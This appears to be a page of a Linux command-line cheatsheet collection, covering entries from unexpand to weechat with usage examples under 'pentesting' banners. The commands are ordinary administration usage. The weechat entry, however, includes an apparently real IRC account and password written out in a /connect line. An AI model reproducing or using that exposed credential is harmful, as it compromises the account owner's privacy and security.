▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███╗ ██╗███████╗██╗ ██╗██████╗ █████╗ ███╗ ██╗██████╗
# ██║ ██║████╗ ██║██╔════╝╚██╗██╔╝██╔══██╗██╔══██╗████╗ ██║██╔══██╗
# ██║ ██║██╔██╗ ██║█████╗ ╚███╔╝ ██████╔╝███████║██╔██╗ ██║██║ ██║
# ██║ ██║██║╚██╗██║██╔══╝ ██╔██╗ ██╔═══╝ ██╔══██║██║╚██╗██║██║ ██║
# ╚██████╔╝██║ ╚████║███████╗██╔╝ ██╗██║ ██║ ██║██║ ╚████║██████╔╝
# ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝
# The unexpand command converts spaces present in the input file(s) into tabs, and writes the file contents to standard output.
unexpand file1
#==============================##==============================#
# CMD UNEXPAND #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command unexpand in a clear format. This allows users to quickly access the needed information for unexpand without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for unexpand are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
222 - 🖥️update-alternatives
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the update-alternatives command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ █████╗ ██╗ ████████╗███████╗██████╗ ███╗ ██╗ █████╗ ████████╗██╗██╗ ██╗███████╗███████╗
# ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ ██╔══██╗██║ ╚══██╔══╝██╔════╝██╔══██╗████╗ ██║██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝██╔════╝
# ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗█████╗███████║██║ ██║ █████╗ ██████╔╝██╔██╗ ██║███████║ ██║ ██║██║ ██║█████╗ ███████╗
# ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝╚════╝██╔══██║██║ ██║ ██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ╚════██║
# ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ ██║ ██║███████╗██║ ███████╗██║ ██║██║ ╚████║██║ ██║ ██║ ██║ ╚████╔╝ ███████╗███████║
# ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚══════╝
update-alternatives --config pager
update-alternatives --config editor
update-alternatives --list pager
#==============================##==============================#
# CMD UPDATE-ALTERNATIVES #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command update-alternatives in a clear format. This allows users to quickly access the needed information for update-alternatives without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for update-alternatives are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
223 - 🖥️urpm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the urpm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗ ██████╗ ███╗ ███╗
# ██║ ██║██╔══██╗██╔══██╗████╗ ████║
# ██║ ██║██████╔╝██████╔╝██╔████╔██║
# ██║ ██║██╔══██╗██╔═══╝ ██║╚██╔╝██║
# ╚██████╔╝██║ ██║██║ ██║ ╚═╝ ██║
# ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
# search (fuzzy) for package foo
urpmq -Y foo
# check if foo is installed
rpm -q foo
# install package foo
urpmi foo
# download but don't install foo
urpmi --no-install foo
# uninstall package foo
urpme foo
#==============================##==============================#
# CMD URPM #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command urpm in a clear format. This allows users to quickly access the needed information for urpm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for urpm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
224 - 🖥️users
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the users command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗███████╗██████╗ ███████╗
# ██║ ██║██╔════╝██╔════╝██╔══██╗██╔════╝
# ██║ ██║███████╗█████╗ ██████╔╝███████╗
# ██║ ██║╚════██║██╔══╝ ██╔══██╗╚════██║
# ╚██████╔╝███████║███████╗██║ ██║███████║
# ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝
# The users command displays in output the usernames of users currently logged in to the current host.
users
himanshu himanshu himanshu himanshu
#==============================##==============================#
# CMD USERS #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command users in a clear format. This allows users to quickly access the needed information for users without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for users are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
225 - 🖥️uuencode
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the uuencode command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗ ██╗███████╗███╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗
# ██║ ██║██║ ██║██╔════╝████╗ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝
# ██║ ██║██║ ██║█████╗ ██╔██╗ ██║██║ ██║ ██║██║ ██║█████╗
# ██║ ██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██║ ██║██║ ██║██╔══╝
# ╚██████╔╝╚██████╔╝███████╗██║ ╚████║╚██████╗╚██████╔╝██████╔╝███████╗
# ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
# Send a file by email as attachment
uuencode /var/log/messages messages.txt | mailx -s "/var/log/messages on $HOST" [email protected]
# Explanation:
# uuencode /var/log/messages messages.txt -- the first parameter is the file to attach, the second is the filename to use for the attachment
# mailx -s subject emailaddress -- takes standard input as the content of the email
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command uuencode in a clear format. This allows users to quickly access the needed information for uuencode without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for uuencode are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
226 - 🖥️vagrant
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the vagrant command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ██████╗ ██████╗ █████╗ ███╗ ██╗████████╗
# ██║ ██║██╔══██╗██╔════╝ ██╔══██╗██╔══██╗████╗ ██║╚══██╔══╝
# ██║ ██║███████║██║ ███╗██████╔╝███████║██╔██╗ ██║ ██║
# ╚██╗ ██╔╝██╔══██║██║ ██║██╔══██╗██╔══██║██║╚██╗██║ ██║
# ╚████╔╝ ██║ ██║╚██████╔╝██║ ██║██║ ██║██║ ╚████║ ██║
# ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝
# Initate Vagrant
mkdir vag-vm; cd vag-vm
vagrant init
# Add a box to vagrant repo
vagrant box add hashicorp/precise32
# Add a box Vagrant file
config.vm.box = "hashicorp/precise32"
# Add vm to public network as host
config.vm.network "public_network"
# Add provision script to vagrant file
config.vm.provision :shell, path: "provision.sh"
# Start vm
vagrant up
# Connect to started instance
vagrant ssh
# Shutdown vm
vagrant halt
# Hibernate vm
vagrant suspend
# Set vm to initial state by cleaning all data
vagrant destroy
# Restart vm with new provision script
vagran reload --provision
#==============================##==============================#
# CMD VAGRANT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command vagrant in a clear format. This allows users to quickly access the needed information for vagrant without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for vagrant are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
227 - 🖥️w
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the w command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗
# ██║ ██║
# ██║ █╗ ██║
# ██║███╗██║
# ╚███╔███╔╝
# ╚══╝╚══╝
# The w command displays information about the users currently on the machine, and their processes.
w
16:18:07 up 6:39, 4 users, load average: 0.07, 0.32, 0.53
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root :0 :0 09:39 ?xdm? 1:08m 0.25s init --user
root pts/0 :0 09:41 6:36m 0.84s 7.84s gnome-terminal
root pts/10 :0 14:51 0.00s 0.16s 0.00s w
userx pts/11 :0 15:41 35:19 0.05s 0.05s bash
#==============================##==============================#
# CMD W #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command w in a clear format. This allows users to quickly access the needed information for w without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for w are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
228 - 🖥️w3m
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the w3m command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗ ███╗ ███╗
# ██║ ██║╚════██╗████╗ ████║
# ██║ █╗ ██║ █████╔╝██╔████╔██║
# ██║███╗██║ ╚═══██╗██║╚██╔╝██║
# ╚███╔███╔╝██████╔╝██║ ╚═╝ ██║
# ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝
# Get the latest Arch Linux news
w3m https://www.archlinux.org/ | sed -n "/Latest News/,/Older News/p" | head -n -1
# Explanation: w3m is a terminal web browser. We use it to go to https://www.archlinux.org/
#We then use sed to capture the text between Latest News and Older News.
#We then get rid of the last line which is Older News.
# Limitations: For this, w3m would need to be installed. It should be installable on most systems.
#If Arch change the format of there website significantly, this might stop working.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command w3m in a clear format. This allows users to quickly access the needed information for w3m without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for w3m are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
229 - 🖥️wacaw
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wacaw command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ██████╗ █████╗ ██╗ ██╗
# ██║ ██║██╔══██╗██╔════╝██╔══██╗██║ ██║
# ██║ █╗ ██║███████║██║ ███████║██║ █╗ ██║
# ██║███╗██║██╔══██║██║ ██╔══██║██║███╗██║
# ╚███╔███╔╝██║ ██║╚██████╗██║ ██║╚███╔███╔╝
# ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚══╝╚══╝
# wacaw
# A little command-line tool for Mac OS X that allows you to capture both still pictures and video from an attached camera.
# Take a picture from webcam:
wacaw filename
# Record a video:
wacaw --video filename -D duration_in_seconds
# Take a picture with custom resolution:
wacaw -x width -y height filename
# Copy image just taken to clipboard:
wacaw --to-clipboard
# List the devices available:
wacaw -L
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command wacaw in a clear format. This allows users to quickly access the needed information for wacaw without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for wacaw are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
230 - 🖥️wall
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wall command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ██╗ ██╗
# ██║ ██║██╔══██╗██║ ██║
# ██║ █╗ ██║███████║██║ ██║
# ██║███╗██║██╔══██║██║ ██║
# ╚███╔███╔╝██║ ██║███████╗███████╗
# ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝
# The wall command lets you write and send a message to other users that are currently logged in.
wall [your-message]
#==============================##==============================#
# CMD WALL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command wall in a clear format. This allows users to quickly access the needed information for wall without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for wall are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
231 - 🖥️weather
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the weather command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗ █████╗ ████████╗██╗ ██╗███████╗██████╗
# ██║ ██║██╔════╝██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔══██╗
# ██║ █╗ ██║█████╗ ███████║ ██║ ███████║█████╗ ██████╔╝
# ██║███╗██║██╔══╝ ██╔══██║ ██║ ██╔══██║██╔══╝ ██╔══██╗
# ╚███╔███╔╝███████╗██║ ██║ ██║ ██║ ██║███████╗██║ ██║
# ╚══╝╚══╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
# weather (Bash-Snippets)
# Provides a 3 day forecast on your current location or a specified location
# Get a 3 day forecast for your current location as determined by your ip address
weather
# Get a 3 day forecast for any location
weather Tokyo
# Get the current moon phase
weather Moon
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command weather in a clear format. This allows users to quickly access the needed information for weather without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for weather are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
232 - 🖥️weechat
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the weechat command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗███████╗ ██████╗██╗ ██╗ █████╗ ████████╗
# ██║ ██║██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗╚══██╔══╝
# ██║ █╗ ██║█████╗ █████╗ ██║ ███████║███████║ ██║
# ██║███╗██║██╔══╝ ██╔══╝ ██║ ██╔══██║██╔══██║ ██║
# ╚███╔███╔╝███████╗███████╗╚██████╗██║ ██║██║ ██║ ██║
# ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
# Set unread marker on all windows
Ctrl-s Ctrl-u
# Switch buffer left
Ctrl-p, Alt-left
# Switch buffer right
Ctrl-n, Alt-right
# Next buffer with activity
Alt-a
# Switch buffers
Alt-0...9
# Scroll buffer title
F9/F10
# Scroll nick list
F11/F12
#### IRC allgemen ####
/msg NickServ REGISTER password [email protected]
/nick foo_
# Register your IRC nick:
/msg NickServ IDENTIFY foo password
# then identify to your primary account:
/msg NickServ GROUP
# and finally, group the new nick to your account
/connect chat.freenode.net 6667 mquin:uwhY8wgzWw22-zXs.M39p
# You will need to log in to your nickname each time you reconnect to freenode. The simplest, and most robust, way to do this is to configure SASL, if your client supports it. If not, you can supply your login details, in the form <account>:<password>, as a server password and they will be forwarded to NickServ when you finish connecting.
IRC: #livestreamer @ Freenode
07:56:18 weechat =!= | Fehler mit dem Befehl "/msg NickServ" aufgetreten (nutze: /help msg)
07:56:22 chat.freenode.net -- | MSG(NickServ): help
